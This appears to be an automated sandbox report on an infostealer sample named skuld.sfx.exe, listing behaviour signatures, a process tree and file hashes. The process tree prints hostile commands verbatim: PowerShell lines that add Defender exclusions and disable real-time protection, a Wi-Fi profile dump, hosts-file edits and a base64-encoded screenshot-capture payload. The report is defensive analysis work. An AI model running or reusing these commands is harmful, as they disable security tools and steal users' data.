Analysis

  • max time kernel
    150s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 08:59

General

  • Target

    skuld.sfx.exe

  • Size

    3.7MB

  • MD5

    c22852523a7ecfc152e31ab535e02fd2

  • SHA1

    bfd7e15bb7a0ab28b7a6b21124bc963dc09ecbb8

  • SHA256

    a94ea7310ba474d5e22faf966dc930915b18d2d54178f2ae31af20156ea9360a

  • SHA512

    eaceef152e9fdcea1a2b04ad0bc828dd72ea90b703466c65baf5ba04391c628acd5509c79801019fc779105b0ae27c62f84b5a259e20ad8bcaf014bce519e246

  • SSDEEP

    98304:tVBHStoOEyvuShmCYhCaZfcvscTzhDDh9e5jqbP6:DBHSSOZuBC4C0kv3NDhMdqC

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.sfx.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.sfx.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3192
    • C:\Users\Admin\AppData\Local\Temp\skuld.exe
      "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Adds Run key to start application
      • Maps connected drives based on registry
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2388
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
        3⤵
        • Views/modifies file attributes
        PID:1348
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
        3⤵
        • Views/modifies file attributes
        PID:1532
      • C:\Windows\System32\Wbem\wmic.exe
        wmic csproduct get UUID
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1604
      • C:\Windows\System32\Wbem\wmic.exe
        wmic path win32_VideoController get name
        3⤵
        • Detects videocard installed
        • Suspicious use of AdjustPrivilegeToken
        PID:780
      • C:\Windows\System32\Wbem\wmic.exe
        wmic os get Caption
        3⤵
          PID:3116
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1720
        • C:\Windows\System32\Wbem\wmic.exe
          wmic cpu get Name
          3⤵
            PID:3528
          • C:\Windows\System32\Wbem\wmic.exe
            wmic path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:2280
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2504
          • C:\Windows\System32\Wbem\wmic.exe
            wmic csproduct get UUID
            3⤵
              PID:312
            • C:\Windows\system32\attrib.exe
              attrib -r C:\Windows\System32\drivers\etc\hosts
              3⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:4464
            • C:\Windows\system32\attrib.exe
              attrib +r C:\Windows\System32\drivers\etc\hosts
              3⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:216
            • C:\Windows\system32\netsh.exe
              netsh wlan show profiles
              3⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:3896
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4332
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\23hqxjqo\23hqxjqo.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3624
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9E82.tmp" "c:\Users\Admin\AppData\Local\Temp\23hqxjqo\CSC438607145E784638B043D0F510B525D0.TMP"
                  5⤵
                    PID:1524
          • C:\Windows\system32\taskmgr.exe
            "C:\Windows\system32\taskmgr.exe" /4
            1⤵
              PID:2892

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              d28a889fd956d5cb3accfbaf1143eb6f

              SHA1

              157ba54b365341f8ff06707d996b3635da8446f7

              SHA256

              21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

              SHA512

              0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              91f906c79942c180081c1db0d4021fde

              SHA1

              445fd6867116aaf4a05bd9168c1014dabecf2e52

              SHA256

              8b847c2ed35fb9565757292d1f4383cb79c5db2dc19f8c7dc6d868a743b903b8

              SHA512

              f62f6ce281f878270ef2d3a713c2a6c38296d862d7d175bbd7c6ddf168723088cd803a13c6589f821ea76596adfe575e857549a8ca2de829c4b553ff084a4b57

            • C:\Users\Admin\AppData\Local\Temp\23hqxjqo\23hqxjqo.dll

              Filesize

              4KB

              MD5

              262fb6f986593bb6e381f03832873a9d

              SHA1

              01f51534481d1a2c5f6928b9bbe3d8708e4c524a

              SHA256

              6fd29a124a084dc6d9d9c87a2af3cb17c957213ee1e8c9ed2139671a02c4ccf2

              SHA512

              a9c5f20310f31d90a1d383209fc1b78045404e4a28f96cd840da8154822078a1f25c5d3f4ba31a3efeb7515edba4a2d88b7567705ed27ce7147a3d92c8fe92eb

            • C:\Users\Admin\AppData\Local\Temp\RES9E82.tmp

              Filesize

              1KB

              MD5

              fa2a000c2f876acedde267eb556866e6

              SHA1

              64245411f274c6ad329d6e2787b1c6e6b5d8cc8e

              SHA256

              c95c194684bac17e70ac7ee6450e11ed4f84a40ebfce55b9388b718487702e87

              SHA512

              dd175220fe5451ab49b1110608e15b7bd5a8cf95e37ce147aab1d7fa83d869f5037717ab5483cf0cd2eacc17c44d99d67cf6364d87202a199f927463d2c6e049

            • C:\Users\Admin\AppData\Local\Temp\VfzRs3DQKE\Display (1).png

              Filesize

              425KB

              MD5

              8286bda44b2b9b21ad3598c0266f467f

              SHA1

              ab9f58e3231ed007b7b545c0f20b65fd7d35e4d9

              SHA256

              dd976c7c11525043b4a4a9807850a1c05101a50c93752e12d3d400258da51e4a

              SHA512

              1d6537c36530b00597c53f26045e66d379f4f3525200a5f32854bb9615bc147929cc2b40b37d9847945c93cc38205c4ba61efad21634651c61daf4ee0682d2e5

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3a5qmzgn.o11.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\skuld.exe

              Filesize

              9.5MB

              MD5

              8b072fa6dc2293e8fc4c79a4c9186886

              SHA1

              dc62f8da50e79c32042523062bfaa12f3179c796

              SHA256

              72614853b5345d3672df3e26a1ad39df61c87d882e40503651a9f237472c018d

              SHA512

              77346cbde03e6b1c60c776f5365ed24c784291b3b89ca21d1f0ccdc7c0a7e24e6a0816373d95ccea9f172e30a674726ea7fae48cd35c7c2dd4ca1a909a9e1636

            • C:\Windows\System32\drivers\etc\hosts

              Filesize

              2KB

              MD5

              6e2386469072b80f18d5722d07afdc0b

              SHA1

              032d13e364833d7276fcab8a5b2759e79182880f

              SHA256

              ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

              SHA512

              e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

            • \??\c:\Users\Admin\AppData\Local\Temp\23hqxjqo\23hqxjqo.0.cs

              Filesize

              1004B

              MD5

              c76055a0388b713a1eabe16130684dc3

              SHA1

              ee11e84cf41d8a43340f7102e17660072906c402

              SHA256

              8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

              SHA512

              22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

            • \??\c:\Users\Admin\AppData\Local\Temp\23hqxjqo\23hqxjqo.cmdline

              Filesize

              607B

              MD5

              dc4916d77bdee147309e03f7780d35a8

              SHA1

              d00c93fff083a16aac6ddf5f72f522f6ffeeb724

              SHA256

              7f433870b067db6c990d772c0df8309e8d033a8c8f9c1241837d96e4130727a2

              SHA512

              73458ab43be876aa4d59de8d46188fea62934d69061123c81423a9e8c4dfd2b472ca28c4128ccf417a4088f95d567738a88f758a4f2d8daeb439195e54861ea1

            • \??\c:\Users\Admin\AppData\Local\Temp\23hqxjqo\CSC438607145E784638B043D0F510B525D0.TMP

              Filesize

              652B

              MD5

              443d76fced8e8149ce4e71138b745a07

              SHA1

              91b4ae9c10f1149aa8b6d1f089bc289fcb18fc6f

              SHA256

              fe916dc143918baa6b8f88cfe3ec1ed2649131be620619285309a5d0cd0c8679

              SHA512

              6729ed76d6a7974dd4a4fa44f97a75e97eb0d173b02f0403906c5cfd9df11893e5fb312cd4af9078bc95e4cc76d9830c82560fe1d9e5162b9a3fb2fac20253be

            • memory/1720-24-0x000001D442F80000-0x000001D442FA2000-memory.dmp

              Filesize

              136KB

            • memory/4332-71-0x00000228574E0000-0x00000228574E8000-memory.dmp

              Filesize

              32KB